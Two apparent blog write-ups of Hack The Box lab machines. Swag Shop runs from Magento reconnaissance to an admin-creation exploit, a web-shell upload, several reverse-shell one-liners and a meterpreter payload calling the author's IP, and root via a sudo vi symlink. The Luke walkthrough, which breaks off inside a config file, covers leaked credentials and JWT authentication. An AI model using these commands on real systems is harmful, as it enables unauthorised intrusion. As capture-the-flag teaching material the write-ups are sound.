Hack The Box – Swag Shop

So it’s that time again, let’s see how far we can get with a meant to be straight forward Hack the Box box!

First up, we run our nmap scan

nmap -sC -sV -O -oA nmap/swagshop 10.10.10.140

We get 2 results back:

We have SSH and HTTP open. Looking at the apache code (2.4.18) this version was released on 3-March-2016. This is strange and might straight away give us an indication of where we need to look.

The HTTP result is also odd as it shows an 503 error. Let’s jump in and see what’s on the webpage.

Heading over there, we do in fact get an error page:

We straight away get 2 really useful bits of information, the fact this is running Magento, which is an Adobe eCommerce product. Also that the copyright is 2014, I wonder if that means we have a really old version of this too.

Let’s run a dirb on this to see if we have any more results

dirb http://10.10.10.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I use the 2.3 medium as standard. I think for HTB the small would probably be fine, but I have time, so why not run the more in depth scan.

(Dirb does then run through each folder recursively which is really useful, but also comes back with a lot of info, so here is the high level results!)

Having a look through the results, there are a lot of things set up for the shop, pictures of the products, logos and gifs. The /shell/ directory looks interesting, but we get this result for each of the scripts:

Which you know, makes sense. Running through some more options, we try /downloader/ and bingo:

Here we get the version number 1.9.0.0 and the copyright year of 2014 ties in with what we have already seen. So let’s check the changelog and any exploits for this version.

I’ve found this blog: https://support.alertlogic.com/hc/en-us/articles/115005913586-01-03-18-Magento-1-8-1-9-Connect-Manager-PHP-Upload-

This describes an exploit via arbitrary PHP upload. I’ve run into a problem though:

 A caveat for this exploit requires an attacker to obtain administrator credentials (users with “all” privileges also work) to the Magento instance.

So we need to go credential diving in all the other resources available on this webpage! Before we jump into all that, lets see if there are default creds we can use.

I had a google round and one bit of advice was to look at the downloader/connect.cfg page. So I did. I don’t think it’s useful right now, but I’m putting it here as it might be later:

::ConnectConfig::v::1.0::a:12:{s:7:"php_ini";s:0:"";s:8:"protocol";s:4:"http";s:15:"preferred_state";s:6:"stable";s:27:"use_custom_permissions_mode";b:0;s:15:"global_dir_mode";i:511;s:16:"global_file_mode";i:438;s:15:"downloader_path";s:10:"downloader";s:12:"magento_root";s:27:"/var/www/html/downloader/..";s:16:"root_channel_uri";s:39:"connect20.magentocommerce.com/community";s:12:"root_channel";s:9:"community";s:13:"remote_config";s:0:"";s:9:"sync_pear";b:0;}

Knowing where the application is installed is always useful in case we need to folder traversal later on: /var/www/html/downloader/

Unfortunately it looks like you create the creds during the install, so no easy default creds for us.

Let’s go hunting instead, and as a plan B, we will try Burp Intruder as a brute-forcer. But this seems overkill when we don’t even have a username yet!

There are so many files!!

While getting bored of going through files, my mind wandered and I wondered if there is any virtual host routing going on. So I added swagshop.htb to my hosts file and went to swagshop.htb

We have any actual site. I wondered if this was virtual host routing, so went back to just the IP. Same result. The box must have been reset and the website has become unfucked. Thanks random other user on the free server! 🙂

So, rather than digging through all that, let’s have a poke around the actual website!

There is an account part, let’s see if we can register and if this will give additional information:

Ok, we can register and log in. A quick check if this login can be used on the connect manager results in a denied. Not a surprise, but I like easy wins (one day i’ll get one)!

While we are at the log in idea. Heading back to the main site, we have a valid user, if we get the password wrong for a valid user, we get an error of:

If we try with an account that’s not going to be there (e.g spaceman@space.com), we get the same result. So there is no credential leakage this way.

From the poking around we did earlier (http://swagshop.htb/app/etc/config.xml), we know that in the background there is an SQL database,

<connection><host>localhost</host><username/><password/><dbname>magento</dbname><model>mysql4</model><initStatements>SET NAMES utf8</initStatements><type>pdo_mysql</type><active>0</active></connection></default_setup>

We could therefore see if there is some SQLInjection available. Looking at the search box, we do a search of hello and the url that comes back is:

http://10.10.10.140/index.php/catalogsearch/result/?q=hello

This is querying the database behind the system. So let’s have a go.

sqlmap -u "http://10.10.10.140/index.php/catalogsearch/result/?q=hello"

The results are in and it doesn’t look like this is vulnerable to SQL Injection.

Let’s log in and have a poke around this dashboard. Knowing what we already found, I’m looking for any sort of username and password that would have admin privileges. Doesn’t appear to be anything of use in the dashboard.

Ok, finally we potentially have a small break. There is the About Us page:

Could John Doe be a user. Potentially.

Let’s go back to the config.xml page we found earlier as in there is a filesystem:

Oddly, a lot of these don’t seem to work.

Another page that we did stumble across later on was /app/etc/local.xml. This gives a username and password for an SQL instance on localhost by the look of it:

Let’s keep those creds for later!

Another interesting part of the site, is within the index.php. There are more directories deeper, running another dirb:

dirb http://10.10.10.140/index.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We get a few results, but the most interesting was admin.

So with that knowledge and now 2 log in opportunities. What can we do with them?

I headed back to google and wondered if I’d missed something obvious, searching for Magento exploits I came across this:

https://www.ambionics.io/blog/magento-sqli

Maybe it is SQLInjection! Let’s run through this and see what we can find!

I decided to run sqlmap again, with the same as before. A line I missed previously was:

[18:31:43] [INFO] heuristic (XSS) test shows that GET parameter 'q' might be vulnerable to cross-site scripting (XSS) attacks

So we might have some XSS on this.

While all my tools were re-running, I had another poke about the website. This time I found myself in /var/cache, this appears to have cached all the SQL tables:

Rather than going through all of them one by one. I’m going to download the whole lot and do some grepping on them.

wget -r http://10.10.10.140/var/cache/

Now these are all downloaded, we can do a grep for “admin” “user” “password” and see what we get.

I didn’t find anything overly useful in there. A lot of information, but nothing else.

While the box was resetting I did a bit more googling, and there looks like there might be a RCE available:

https://www.exploit-db.com/exploits/39838

So the pre-requisites of this are:

to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)

Out of the items available, a t-shirt is definitely the most rad, so let’s buy one of those.

Adding that to basket and proceeding to checkout. Let’s checkout as Guest (rather than registering)

Filing in all the shipping address. Turn on Burp intercept and click Continue.

Go through the next stages and at the final Place Order button we get a post request.

So we have our valid guest cart ID, I think:

0tNdHjhtQ3VXmBdF

Let’s try using that with the exploit. The exploit downloads as a PHP, so that’s a bit odd.

I’m not too sure what to do with this, so I went back to google and found a metasploit module.

I’m not a huge fan of going straight to msf, especially as it can’t really be used in OSCP, however. I need a win right now. (Querier has killed me completely)

So, lets open msfconsole

use exploit/multi/http/magento_unserialize

A bit of googling and the issue is summed up nicely:

"Magento is prone to a remote code-execution vulnerability because it fails to properly sanitize user supplied input. 
Specifically, this issue occurs because it fails to properly restrict a user to set malicious '_data' property of 'payment' instance 
through 'method' variable of 'getData()' function. An unauthenticated attacker can exploit this issue to execute arbitrary PHP code on the server through REST or SOAP APIs."s

So I set all the options, which were just RHOSTS and TARGETURI

I got an error in return:

So we go and look over there:

A quick look shows that it’s not my IP address. So let’s try not on the index.php targetURI. Also no good.

After a box reset, I tried this again.

Still no good. Ok this isn’t the route we wanted to do anyway!

I keep coming back round to the fact there are 2 login pages there should be creds somewhere!

As a change of tact, from trying to get RCE or a reverse shell straight off the bat. I googled if there was a way to add an extra admin account.

So, there is an exploit called ShopLifter. What this done is uses some very clever SQL injection to add a new admin user into the system. I took the code from this github page.

So what this does, is adds in a new admin account. Reading through the script it adds a user with the username ypwq & password 123.

Wondering if this is on the right lines, I went to the 2 log in pages and tried the user without running the script.

Bingo, I was able to log in onto both management areas. I assume this is from other people leaving a trail, rather than poor misconfiguration.

Anyway, we want to do the exploit and see if it works ourselves.

Looking at the script, we can edit it slightly to use any username and password, so I make a couple of changes

Now, we have 2 places to attack, but the script mentions index.php/admin so we just need to give it the web address.

python add_admin.py 10.10.10.140

The script has come back and said it has worked. You’ll notice the URL is wrong though. Let’s give it a go anyway.

First over to /index.php/admin

We are in! Huzzah!

I wonder if the new account works on the downloader page too.

We are! So we now have 2 main areas to look around in.

The downloader immediately pops out with a Direct package file upload. Could it be as easy as putting up a php reverse shell? We take the reverse shell script from pentestmonkey and change our IP address.

Get a listener set up on the port

nc -nvlp 9006

Uploading the .php file.

This result was not unexpected but it’s always worth a try.

So, lets do some googling, is there any file inclusion or other exploits we have access now we are an admin user. After not too long we find this exploit: https://www.exploit-db.com/exploits/35052

This tells us that the mass importer allows uploads of PHP files without any sanity checks. This seems good. All we need to go is zip the file (so it looks like a legit plugin) and run the script to extract the payload. Then we can visit the site via magmi/plugings and our plugin should be there.

Before we do it, let’s make sure magmi and plugins exist. Heading to:

http://10.10.10.140/index.php/magmi/web/magmi.php

http://10.10.10.140/index.php/admin/magmi/web/magmi.php

http://10.10.10.140/magmi/web/magmi.php

http://10.10.10.140/downloader/magmi/web/magmi.php

All bring back 404 errors. So I’m not sure if this is an extension we can use and due to it being on a VPN, we can’t use our admin creds to install additional plugins.

However, we did find this exploit earlier. The caveat was we needed admin credentials, which we do now have!

Another interesting thing to note, is this box goes down so often. It looks to get put into some sort of maintance mode all the frikkin time, looking at the connect manager there is a default ticked button at the top:

So this would be another clue that we need to do a direct package file upload, so we need to follow the exploit above.

First up, what do we want in our zip file? Ideally a php reverse shell script.

Then we also need an xml file, which magento will read. So let’s get those sorted. First, for the xml file, let’s try using the most basic one available. Let’s try hello world!

nano helloworld.xml

Paste in:

<?xml version="1.0" encoding="UTF-8"?>
<text>
  <para>hello world</para>
</text>

Save and exit. We then need our php-reverse shell, which we got earlier from pentestmonkey. We then need to zip the files together

zip yekki.zip helloworld.xml yekki.php

We now have a zip file. Let’s untick the box above, so others can still use the box. Then upload our zip and see what happens.

Again, we got the same error as above. Time to change tack.

Looking again through the Admin Panel, I notice under CMS there is a Manage Page option. I wonder if we can just make a new page.

There is an option “Add New Page”. Let’s add this called yekki.php

Under the Page Info, we add the Title of Yekki and URL key of yekki.php

In the content, we copy in the php reverse shell code. Changing the ip address and port to match our system and nc listener.

Under Design, we change everything to basic and try to keep it all as simple as possible. Click Save and Continue Exit.

Let’s see if we can see the page. Heading over to:

http://10.10.10.140/index.php/yekki.php

The page is there, but the reverse shell doesn’t start. Instead the page loads, sad times!

I was really hoping by uploading and going there, it would work. Never mind! Let’s keep digging!

After a bit more googling, I find this github: https://github.com/astorm/MagentoTarToConnect

This can convert our php file into the connect upload format. So let’s try this out with our php reverse shell file.

Running this with my php file, got me a shell. It was however local, before I went near the application. I’m not too sure this is the way forward.

I had a bit of a break and then came back and found some god-awful youtube video’s. You know the ones, typing on a terminal and terrible background music. Well this one: https://www.youtube.com/watch?v=BbVk67f0OCE

Interestingly had a link to the filesystem extension. I’d seen this in my travels, but assumed as I didn’t have web access, couldn’t get the extension.

So I downloaded it, off I went to /downloader to upload the new extension.

After I click upload, I get an error:

CONNECT ERROR: Unsupported resource type

Bugger. A quick check shows that it has not appeared where it should have.

——–The Next Day——–

So this had bugged me for a day, so I went back on the research and found a full download: https://www.magecloud.net/marketplace/extension/file-system/

I had to register, so used a temporary e-mail from https://temp-mail.org/en/

Downloading the Filesystem tgz file was easy. Heading over to the /downloader/ admin portal, we untick the box at the top so we don’t put the box into maintenance mode and select the file to upload.

Clicking Upload takes me to the box at the bottom, some green text which again states

CONNECT ERROR: Package file is invalid
Invalid version, should be like: x.x.x
Invalid stability
Invalid channel URL
Empty authors section
Empty package contents section

Excellent, well that’s a bundle of joy isn’t it!

Let’s instead head back to our favourite search engine and see if there are any other extensions we can add on. A bit more searching and we come across another github page: https://github.com/lavalamp-/LavaMagentoBD

A quick and dirty php shell, I’d be happy for that to work. Let’s have a go!

Heading over to /downloader/ and logging in with our new creds, let’s try the upload. The green box of doom, this time:

Looks like a success! So the readme then says we need to navigate to: /index.php/lavalamp/index

The page loads! It’s empty, but it loads! I take that as a win as the shell must have uploaded otherwise we would have got a 404! Let’s look into the code and see what it’s doing, do we need a listener on a port or is this meant to be an interactive shell.

The instructions say: “The shell is a simple command shell that will take $_POST[‘c’], pass it to shell_exec, and echo back the contents.”

So where would we put in that POST, maybe as a request in Burp? Let’s try that as a post request.

In Burp, we intercept the request and send it over to repeater. Changing the request to a POST request, at the bottom we try:

c='whoami'

Success!! We are running as www-data!

So let’s head over to highon.coffee and get a reverse shell 1 liner.

bash -i >& /dev/tcp/10.10.14.33/9005 0>&1

Also set up a listner

nc -nvlp 9005

And… the site loads and we do not get a reverse shell. So maybe it’s not a bash shell. Is there an easy way to find out? We can’t cat /etc/passwd which would be my normal route, as cat doesn’t appear to work.

As it’s done via php, maybe we need a php reverse shell 1 liner, rather than bash.

/usr/local/bin/wget http://10.10.14.33:9001/php-reverse-shell.php -O /var/tmp/shell.php 2>&1

Let’s try this and we will host our normal php reverse shell using python simpleHTTPServer

No good sadly.

Let’s keep trying, as we need a reverse shell here

/bin/sh | nc 10.10.14.33 9005

Still no good, however the issue I have been having, is I had single quotes around each expression, which was breaking things. So a quick look without those and we have cat back.

cat /home/haris/user.txt

Boom!

I’m suprised that www-data who is the user we are on has access to read that file, but I don’t mind. That’s a win!

So, now we have a bit more confidence, let’s try and get a reverse shell or a password for ssh!

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Again, not working.

Having a poke around instead we look at /etc/, sudoers is a file there and it looks like we might have sudo on vi:

So let’s try

sudo vi /root/root.txt

Nothing comes back. Same with sudo vim /root/root.txt

I guess because vi is an interactive editor, it’s not something that would come back via the command line. Again, I feel we need a reverse shell or to be able to log in via ssh.

Let’s change tactic and see if we can find a password for the account, then we would be able to ssh in which would make life a lot easier.  Trying a search for password

c=grep -iR password .

Gives us a load of results, the one that look most interesting are:

./install.php: * --admin_username admin --admin_password 123123 \
./install.php: * --db_pass // required, Database User Password
./install.php: * --admin_password // required, admin user password
./lib/PEAR/Net/URL.php: * Password
./lib/PEAR/Net/URL.php: var $password;

So let’s take a look at the install script and see if there is a hardcoded password.

All we have is this:

* –admin_lastname Owner –admin_firstname Store –admin_email “admin@example.com” \
* –admin_username admin –admin_password 123123 \

This is commented out and a password of 123123 doesn’t seem likely as that would be very easy to brute which I don’t think would be the way for a CTF.

So, I went back and spent some more time trying to get a shell, I thought i’d try using metasploit, so I created a elf payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9002 -f elf > shell.elf

I put this up onto my webserver

python -m SimpleHTTPServer 9001

Downloaded it onto the box, via my command execuation in burp

c=wget http://10.10.14.33:9001/shell.elf

Started a metasploit listener

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

Set up the options for host and port. Ran the exploit on the box and boom, we have a reverse shell! That took way longer than it should have and I can’t explain why my normal bash shells kept dying straight away, but anyway, onwards and upwards. Let’s go root flag hunting!

Having a hunt around, we find the SQL database password found in:

/var/www/html/app/etc/local.xml

<host><![CDATA[localhost]]></host>
<username><![CDATA[root]]></username>
<password><![CDATA[fMVWh7bDHpgZkyfqQXreTjU9]]></password>
<dbname><![CDATA[swagshop]]></dbname>

Let’s see if there is an SSH password in the SQL database. We get an access denied when trying to access the SQL database.

I’ve now run LinEnum.sh and I know that we have sudo abilities on /usr/bin/vi so let’s re-run through the basics:

sudo /usr/bin/vi /root/root.txt

We run into an error:

sudo: no tty present and no askpass program specified

So a bit of googling mostly tells us to change the sudoers file, unfortunately we can’t do that as only have read and execute on the file.

I think this is due to the fact we are in a rubbish restricted shell, we have earlier tried out python method to upgrade our shell, that didn’t work but let’s try it with python3:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Hooray, we now have  bash shell. Let’s try this again

sudo vi /root/root.txt

We get prompted for a password, odd.

So let’s go back to what the sudoers file actually says:

www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*

Does this meant that we can only use sudo vi for files that are within the /var/www/html directory?

Let’s try, first we need to create a symbolic link (we have done this before on some previous boxes)

ln -s /root/root.txt hello.txt

Our symbolic link is created:

Now we can try again

sudo /usr/bin/vi /var/www/html/hello.txt

Success! We get the root flag, and the details to go to the shop! Excellent!

 

This was a very annoying box, with the website going down constantly and I had to upgrade to VIP. If I hadn’t of done that, I would have given up a fair while ago!

From there, the magento add-ons were frustrating to try and find but I am happy that I understood the exploit and how to do the RCE through Burp. Then I have also learnt a new skill about sudo and limiting that down to only certain folders, I can see that being really useful for the future!!

Now, to go and buy some swag!!

 

Hack The Box – Luke

Here we go again, this time we are looking at Luke. What do we know before we begin? Very little, apart from it’s a FreeBSD box on the IP 10.10.10.137.

So let’s start the same way as always!

nmap -sC -sV -O -oA nmap/Luke 10.10.10.137

We get a few ports that show as open:

Nmap 7.70 scan initiated Sun Jun 23 14:22:36 2019 as: nmap -sC -sV -O -oA nmap/luke 10.10.10.137
Nmap scan report for 10.10.10.137
Host is up (0.087s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.33
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=6/23%OT=21%CT=1%CU=37528%PV=Y%DS=2%DC=I%G=Y%TM=5D0F7DD
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=RI%TS=22)O
OS:PS(O1=M54DNW6ST11%O2=M54DNW6ST11%O3=M54DNW6NNT11%O4=M54DNW6ST11%O5=M54DN
OS:W6ST11%O6=M54DST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)E
OS:CN(R=Y%DF=Y%T=40%W=FFFF%O=M54DNW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M54DNW6ST11%R
OS:D=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0
OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)

Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 23 14:25:51 2019 -- 1 IP address (1 host up) scanned in 195.57 seconds

 

So we have 5 ports open, 3 of which are webservers and one which allows Anonymous FTP!

I know where I’m going to start! Let’s start by setting 3 dirbs running in the background while we investigate the FTP server.

dirb http://10.10.10.137:80 -w /usr/share/dirb/wordlists/common.txt > dirb/port80.txt

dirb http://10.10.10.137:3000 -w /usr/share/dirb/wordlists/common.txt > dirb/port3000.txt

dirb http://10.10.10.137:8000 -w /usr/share/dirb/wordlists/common.txt > dirb/port8000.txt

While they are running, let’s take a look at the FTP server. Nmap has already told us we can log in anonymously, so let’s give it a go

ftp 10.10.10.137 21

We get prompted for a password, entering anything gives us access.

We can see there is 1 folder called webapp. Within there is a file called for_Chihiro.txt

Let’s get that back to our box

get for_Chihiro.txt

We now have this on our box. Cat’ing the file shows it contains a message:

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !

Derry

Now, what the fuck does that mean?! I’m guessing maybe we need to look at the source of each of the websites on each of the 3 webservers!

Shall we start with the old fashioned port 80.

Heading over to the website we get a very basic website, with some text and 3 links which take you to further down the page. From looking at the source we do know that there is a lot of javascript on the website.

Unfortunately I know absolutely nothing about javascript or how to exploit it. Let’s see if our dirb came back with any results for this webserver.

It came back with a few pages and directories

/css/

/index.html

/js/

/LICENSE

/management

/member/

/vendor/

Management, LICENSE and index look quite interesting, lets have a look.

First up, management. We get a pop up!

If we can find some creds, I know where I’m coming back to.

LICENSE shows the MIT License, I think this is for the bootstrap JS stuff we saw earlier.

Index is the main page that we see, which I don’t think has much on.

In terms of folders, member is empty, css is just the display schemes, vendor has a list of all the javascript used:

bootstrap

jquery-easing

jquery

It looks like the jQuery is v3.3.1, jQuery Easing is v1.4.1 and Bootstrap is v4.2.1.

We may come back to these for exploits or at least more googling and the version numbers are bound to be useful.

The final folder, is /js/ This just looks to contain the scrolling-nav, which the hotlinks use to scroll down the page.

As I have no idea what we could even do here, let’s go look at the other ports.

Port 3000 appears to just have some JSON on it

This looks a lot like what we found on Port 3000. We quickly ran away then but maybe another viewing of ippsecs video will give us a hint.

However, the dirb that I ran did find 3 directories:

/login

/Login

/users

Let’s go check them out.

Both Login and login give a JSON message, it’s the same on both and simply says:

"please auth"

Users has a slightly different answer:

success false
message  "Auth token is not supplied"

It’s not much better!

Let’s skip over these for now and head over to port 8000. Aha, slightly more interesting:

It’s a login prompt. So we have 3 areas that require auth:

http://10.10.10.137/management

http://10.10.10.137:3000/login

http://10.10.10.137:8000

Now, just to find some creds I guess!

The directory wordlist that I used was a different one to normal, so I’m going to try using dirbuster which isn’t my favourite to look at but gives good results with my normal wordlist:

/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Let’s see if there is anything extra we get.

We get an additional hit on port 80 which I’m not sure how we missed first time around:

/config.php
/login.php

This gives us some db information:
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

So we have a username and password, potentially. Let’s go see if it works on the logins!

So trying that password with:

root

Chihiro

Derry

Unfortunately none of these worked with that password.

I have also gone back to basics and looked at the default password for Ajenti which is:

root:admin

This also doesn’t work, but would indicate it could be where the root password goes.  Looking at searchsploit for Ajenti we have 1 hit:

It’s cross-site scripting. Not too sure how useful that will be here.

I think maybe we need to go back to the javascript on the main webserver and have a look at what we have.

The one thing that keeps bugging me is port 3000 and the message please auth or auth token is not supplied for users.

Maybe we can use the password as an auth token? Event getting a list of users at this point would be good.

Thinking about the list of users, there is the directory /users/ we tried that earlier and got a please auth message. What if we try some user names after that so /users/chihiro

We get:

Whereas if we try derry we get:

What this means, is we get a different result for a real user, therefore we can enumerate usernames.

So let’s put that request through burp and send it over to intruder. Dirb has a good name list which is available at /usr/share/wordlists/dirb/others/names.txt

So in Intruder, we set the position around derry

We load in the wordlist under Payload (Simple List) and add in a few others including derry, luke and admin. Then within the options we add under Grep Match

Hit start attack and let’s watch the results come pouring in! After we hit start attack we filter out any 404 errors!

I have just realised that doing a match isn’t the best, as what if there is a website that loads straight away, we won’t see if as it doesn’t match our expected outcome.

So re-running the test without that grep. Anything that doesn’t load will still come back as a 404 so we can filter those out.

While that was running, a colleague had mentioned trying curl (not sure if he knows something I don’t, has read something or is just also clutching at straws), so I looked at some curl commands to see if we could get any more clues.

curl http://10.10.10.137

{"success":false,"message":"Auth token is not supplied"}

Hmm ok, how about /login

curl http://10.10.10.137:3000/login
"please auth"

So, let’s try and add authentication, we have a username and password

curl --user root:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login

Another “please auth”, so wrong user or password or syntax/format. Let’s try some other users.

curl --user admin:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user Admin:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user superadmin:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user SuperAdmin:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user administrator:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user Administrator:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user derry:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login
curl --user Derry:Zk6heYCyv6ZE9Xcg http://10.10.10.137:3000/login

All the exact same result:

I guess we wait for the Burp Intruder to finish and see if we have any other usernames we can try out.

After what can only be described as …..ages….. I remembered that intruder is very slow on burp community edition. However, we are enumerating directories, why don’t we go back to dirbuster for this!

So, running dirbuster, much quicker we get a list of users which exist:

That runs super quickly and we have another couple of usernames:

/Admin/

/Dory/

/Yuri/

So, we can now try logging into each auth prompt with these 2 additional usernames. None of the 3 direct auth prompts work for either username with the password found from the config.php file.

Heading to /users/<name> still gives the “Auth token is not supplied”

This is, frustrating to say the least!

Doing some research and finding some pretty diagrams to explain JWTs it look slike we need to authenticate to /login with a username and password, then the server will create a JWT which we can then use the get to all the other subdirectories.

So the big question is how do we authenticate using /login which doesn’t have any sort of GUI. We will need to do this by putting the requests directly in a POST request, however we don’t know the field names for username and password, we don’t know which user to use or even if the password is correct.

That’s far too many variables for my liking!

With this new knowledge, I did some more googling on authenticating to express JS, I revisitied the idea of CURL that we did earlier and read through this article: https://medium.com/@evangow/server-authentication-basics-express-sessions-passport-and-curl-359b7456003d

This showed:

client $ curl -X POST  http://localhost:3000/login -c cookie-file.txt -H 'Content-Type: application/json' -d '{"email":"test@test.com", "password":"password"}'You were authenticated & logged in!

So, I knew that we didn’t have an e-mail, but maybe it was username, so I tried that. I figured at this stage, we needed this to be admin but I was ready to do a lot of manual trying through all the usernames if that didn’t work.

My final request was:

curl -X POST http://10.10.10.137:3000/login -c cookie-file.txt -H 'Content-Type: application/json' -d '{"username":"admin", "password":"Zk6heYCyv6ZE9Xcg"}'

This resulted in:

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxODg2NDQzLCJleHAiOjE1NjE5NzI4NDN9.-I_yLS8xOvod3dCyGeKqdmUrClsfXW7ESf_GaZF540E"}

We now have a token!

Next step, how to use that!

Firstly, I was interested to see what the token was made up of, so I went over to calebb.net which decodes JWT tokens, the results showed:

{

 alg"HS256",

 typ"JWT"

}.

{

 username"admin",

 iat1561886443,

 exp1561972843

}.

[signature]

So the username is admin, it has a code and an expiry date (I assume), it doesn’t really help us but it’s interesting to know what’s there.

Looking at a JWT for beginners page here: https://jwt.io/introduction/

It mentions:

“Whenever the user wants to access a protected route or resource, the user agent should send the JWT, typically in the Authorization header using the Bearer schema. The content of the header should look like the following:

Authorization: Bearer <token>"

Therefore, we are going to include that in Burp and see what we get.

We forward the request and get:

We get Dory’s username and password!

So, going through all the users we have found, we get a list of usernames and passwords.

Now that we have these, let’s head over to our login pages and see which works where.

First up, port 8000 for ajenti log in.

Unfortunately all 4 sets of creds still give us auth failure.

Let’s head over to port 80 /management and /login and see what we have,

Within management, the credentials for Derry worked and we get:

First up is config.json which has 1 very interesting line in it:

ajenti.plugins.munin.client.MuninClient "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}"

So we will check that out.

Config.php is the document we found earlier with the mysql creds.

Login.php takes us to the login page that we found earlier.

So let’s go take a look at port 8080/munin. Unexpectedly that doesn’t exist, if it did our port scan earlier would have caught it. Nothing works on the main login page either.

So somewhere, we have missed something.

Let’s look at our progress here. We found config.php on port 80, which gave us the creds to get the JWT token on port 3000. Then from there, we got the creds for Derry that let us get into management on port 80. From there it appears to be a deadend. I think we need to re-look at that, we must have missed something.

The full config.json might be where to go back to:

{
"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
